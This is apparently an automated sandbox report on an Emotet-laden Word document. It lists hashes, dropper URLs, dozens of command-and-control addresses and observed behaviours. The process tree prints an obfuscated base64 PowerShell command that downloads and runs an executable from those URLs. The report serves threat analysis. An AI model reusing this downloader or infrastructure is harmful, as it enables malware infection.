emotet | 9214a210e7bb43bd59a4e2bc93a6e020db78e48665cabba44b5128d186f40b4f

Analysis

max time kernel
136s
max time network
150s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 09:27

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General

Target
emotet_e2_9214a210e7bb43bd59a4e2bc93a6e020db78e48665cabba44b5128d186f40b4f_2020-08-19__092535._doc.doc
Size 193KB
Sample200819-8lbca1lle6
SHA256 9214a210e7bb43bd59a4e2bc93a6e020db78e48665cabba44b5128d186f40b4f
MD5 55c8dcc38efa9888128a754169eee122
SHA1 ba90ecee60ab303acbcbeee076080a724c258d9c
SHA512 ce0110cc0e83baabb08d3453c416b38e95b3c4e085d593a4ae4e8e381db43405b1f6da6f94d54c0d02765433053ad464da38f740e8d75f39d26683ea8d214f2f
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://abcofcricket.com/T3A/
exe.dropper
http://reliancectg.com/fonts/c/
exe.dropper
http://sheilasteinfeld.com/8ozY17n/
exe.dropper
https://robcuesta.com/wp-admin/O/
exe.dropper
http://ronsaltmarsh.com/saltmarshproperty/5X/
exe.dropper
https://rowlan.com/trz/2WU3G/
exe.dropper
http://saludenestambul.com/wp-includes/ypJ58O/

Extracted

Family

emotet

64.183.73.122:80
69.30.203.214:8080
67.205.85.243:8080
222.214.218.37:4143
104.236.246.93:8080
110.145.77.103:80
89.186.91.200:443
74.120.55.163:80
95.179.229.244:8080
70.167.215.250:8080
47.146.117.214:80
209.141.54.221:8080
24.43.99.75:80
103.86.49.11:8080
142.105.151.124:443
62.138.26.28:8080
24.179.13.119:80
37.187.72.193:8080
137.59.187.107:8080
97.82.79.83:80
24.137.76.62:80
121.124.124.40:7080
5.196.74.210:8080
81.2.235.111:8080
87.106.139.101:8080
173.62.217.22:443
24.233.112.152:80
87.106.136.232:8080
104.131.11.150:443
201.173.217.124:443
85.66.181.138:80
107.185.211.16:80
68.44.137.144:443
68.188.112.97:80
113.160.130.116:8443
5.39.91.110:7080
95.213.236.64:8080
181.211.11.242:80
188.83.220.2:443
181.230.116.163:80
85.152.162.105:80
104.131.44.150:8080
203.117.253.142:80
169.239.182.217:8080
72.12.127.184:443
75.139.38.211:80
85.105.205.77:8080
168.235.67.138:7080
204.197.146.48:80
200.41.121.90:80
2.58.16.85:7080
190.160.53.126:80
109.116.214.124:443
78.24.219.147:8080
37.70.8.161:80
74.208.45.104:8080
116.203.32.252:8080
185.94.252.104:443
180.92.239.110:8080
79.98.24.39:8080
167.86.90.214:8080
152.168.248.128:443
157.245.99.39:8080
91.211.88.52:7080
41.60.200.34:80
83.169.36.251:8080
37.139.21.175:8080
47.144.21.12:443
61.19.246.238:443
139.130.242.43:80
174.137.65.18:80
157.147.76.151:80
153.163.83.106:80
98.109.204.230:80
176.111.60.55:8080
189.212.199.126:443
62.75.141.82:80
93.51.50.171:8080
190.55.181.54:443
203.153.216.189:7080
109.74.5.95:8080
174.102.48.180:80
93.147.212.206:80
139.59.60.244:8080
46.105.131.79:8080
199.101.86.142:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	908	2944	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2160-16-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/2160-16-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/2680-19-0x0000000002190000-0x000000000219C000-memory.dmp	emotet
behavioral2/memory/2680-19-0x0000000002190000-0x000000000219C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	908	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2160	M8e9ziy.exe
2680	mfvdsp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\kbdnec\mfvdsp.exe	M8e9ziy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
908	powersheLL.exe
908	powersheLL.exe
908	powersheLL.exe
2680	mfvdsp.exe
2680	mfvdsp.exe
2680	mfvdsp.exe
2680	mfvdsp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	908	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
2160	M8e9ziy.exe
2160	M8e9ziy.exe
2680	mfvdsp.exe
2680	mfvdsp.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 2160	908	powersheLL.exe	75
PID 908 wrote to memory of 2160	908	powersheLL.exe	75
PID 908 wrote to memory of 2160	908	powersheLL.exe	75
PID 2160 wrote to memory of 2680	2160	M8e9ziy.exe	76
PID 2160 wrote to memory of 2680	2160	M8e9ziy.exe	76
PID 2160 wrote to memory of 2680	2160	M8e9ziy.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_9214a210e7bb43bd59a4e2bc93a6e020db78e48665cabba44b5128d186f40b4f_2020-08-19__092535._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUAF8AMgB1ADYANQBkAD0AKAAnAEIAJwArACcAYQBkADcAdwAnACsAJwA1AGUAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBuAFYAOgBUAEUAbQBwAFwATwBGAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAYABVAFIAaQB0AHkAcABgAFIAbwB0AG8AYwBgAG8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIALAAgACcAKwAnAHQAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABCAGoAaABuAHcAOAAzACAAPQAgACgAJwBNACcAKwAnADgAZQA5AHoAaQB5ACcAKQA7ACQAQwBvADIAOAB1AGoAOQA9ACgAJwBNADUAMwAnACsAJwBtAGUAJwArACcAYQAzACcAKQA7ACQASQBnAGgAagA5AG8AMAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAaQAnACsAJwBMADcATwBmACcAKwAnAGYAaQBjAGUAMgAwACcAKwAnADEAJwArACcAOQBpAEwANwAnACkAIAAgAC0AcgBFAFAATABhAEMARQAnAGkATAA3ACcALABbAEMAaABBAHIAXQA5ADIAKQArACQAQgBqAGgAbgB3ADgAMwArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAQgBtAGgAOQBrAGMAeAA9ACgAJwBEACcAKwAnADQANwAxADQANgByACcAKQA7ACQASABiAHMAcQBkADgAcwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBjAGwAaQBlAG4AVAA7ACQASABiAHcANABmADIAdwA9ACgAJwBoAHQAdABwADoALwAvAGEAYgBjACcAKwAnAG8AZgBjAHIAaQAnACsAJwBjAGsAZQB0AC4AJwArACcAYwBvAG0ALwBUACcAKwAnADMAQQAvACoAaAB0AHQAcAA6AC8ALwByACcAKwAnAGUAbABpACcAKwAnAGEAbgBjAGUAYwB0AGcALgBjACcAKwAnAG8AbQAvAGYAbwBuACcAKwAnAHQAcwAnACsAJwAvAGMALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAcwBoACcAKwAnAGUAaQBsAGEAcwB0AGUAaQBuAGYAZQBsAGQALgBjAG8AbQAvADgAbwB6AFkAMQA3AG4ALwAqAGgAdAB0AHAAcwA6AC8ALwByAG8AJwArACcAYgBjACcAKwAnAHUAZQBzACcAKwAnAHQAYQAuAGMAbwAnACsAJwBtAC8AdwBwAC0AJwArACcAYQBkAG0AaQBuAC8ATwAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwByACcAKwAnAG8AbgBzAGEAbAAnACsAJwB0AG0AYQByACcAKwAnAHMAJwArACcAaAAuAGMAbwBtAC8AJwArACcAcwBhAGwAdABtAGEAcgBzAGgAcAByAG8AcABlAHIAdAB5AC8AJwArACcANQBYAC8AKgBoAHQAJwArACcAdABwAHMAOgAnACsAJwAvAC8AcgBvAHcAbABhAG4ALgBjAG8AbQAnACsAJwAvAHQAcgAnACsAJwB6ACcAKwAnAC8AJwArACcAMgBXAFUAJwArACcAMwBHACcAKwAnAC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAvAHMAJwArACcAYQBsAHUAJwArACcAZABlAG4AZQAnACsAJwBzAHQAYQBtAGIAdQBsAC4AYwAnACsAJwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB5AHAASgA1ADgATwAvACcAKQAuACIAcwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIADcAcgBxAGMAaABsAD0AKAAnAEMAeABvADMAJwArACcAYwAnACsAJwAzAGwAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASwBqADAAdABsADcAdgAgAGkAbgAgACQASABiAHcANABmADIAdwApAHsAdAByAHkAewAkAEgAYgBzAHEAZAA4AHMALgAiAGQAbwBgAFcAbgBMAGAATwBBAGQARgBpAGwARQAiACgAJABLAGoAMAB0AGwANwB2ACwAIAAkAEkAZwBoAGoAOQBvADAAKQA7ACQARAB3ADYAbgBiADIAdgA9ACgAJwBUAHQAMwAnACsAJwAzAG4AaAB5ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABJAGcAaABqADkAbwAwACkALgAiAEwAZQBOAGAARwB0AEgAIgAgAC0AZwBlACAAMwAyADgAOQAxACkAIAB7AC4AKAAnAEkAJwArACcAbgB2ACcAKwAnAG8AawBlAC0ASQB0AGUAbQAnACkAKAAkAEkAZwBoAGoAOQBvADAAKQA7ACQARwBiAGoAdABsAHEANwA9ACgAJwBLADUAeQB5ACcAKwAnADYAZwAnACsAJwBuACcAKQA7AGIAcgBlAGEAawA7ACQATAB2AGgAXwBkAHMAdQA9ACgAJwBNAHoAdQBwAHUAJwArACcAcAAnACsAJwA3ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVABwADUAMgBiADkANQA9ACgAJwBaACcAKwAnAG0AdwA4ADkAbQA5ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:908
- C:\Users\Admin\AppData\Local\Temp\Office2019\M8e9ziy.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\M8e9ziy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\SysWOW64\kbdnec\mfvdsp.exe
    "C:\Windows\SysWOW64\kbdnec\mfvdsp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/908-10-0x00007FF8D61E0000-0x00007FF8D6BCC000-memory.dmp

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memory/908-11-0x0000023F3FE30000-0x0000023F3FE31000-memory.dmp

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memory/908-12-0x0000023F40040000-0x0000023F40041000-memory.dmp

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memory/2160-16-0x0000000002250000-0x000000000225C000-memory.dmp

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memory/2680-19-0x0000000002190000-0x000000000219C000-memory.dmp

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memory/3908-0-0x00007FF8DEA10000-0x00007FF8DF0D6000-memory.dmp

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memory/3908-6-0x0000026A7C5D0000-0x0000026A7C5D5000-memory.dmp

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memory/3908-5-0x0000026A7C5D0000-0x0000026A7C5D5000-memory.dmp

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memory/3908-7-0x0000026A7C5BF000-0x0000026A7C5D0000-memory.dmp

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memory/3908-3-0x0000026A7C40B000-0x0000026A7C40E000-memory.dmp

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memory/3908-2-0x0000026A7C40E000-0x0000026A7C413000-memory.dmp

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memory/3908-4-0x0000026A7C40E000-0x0000026A7C413000-memory.dmp

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memory/3908-9-0x0000026A7C5DF000-0x0000026A7C5E8000-memory.dmp

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memory/3908-1-0x0000026A7C40B000-0x0000026A7C40E000-memory.dmp

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memory/3908-8-0x0000026A7C5E8000-0x0000026A7C5ED000-memory.dmp

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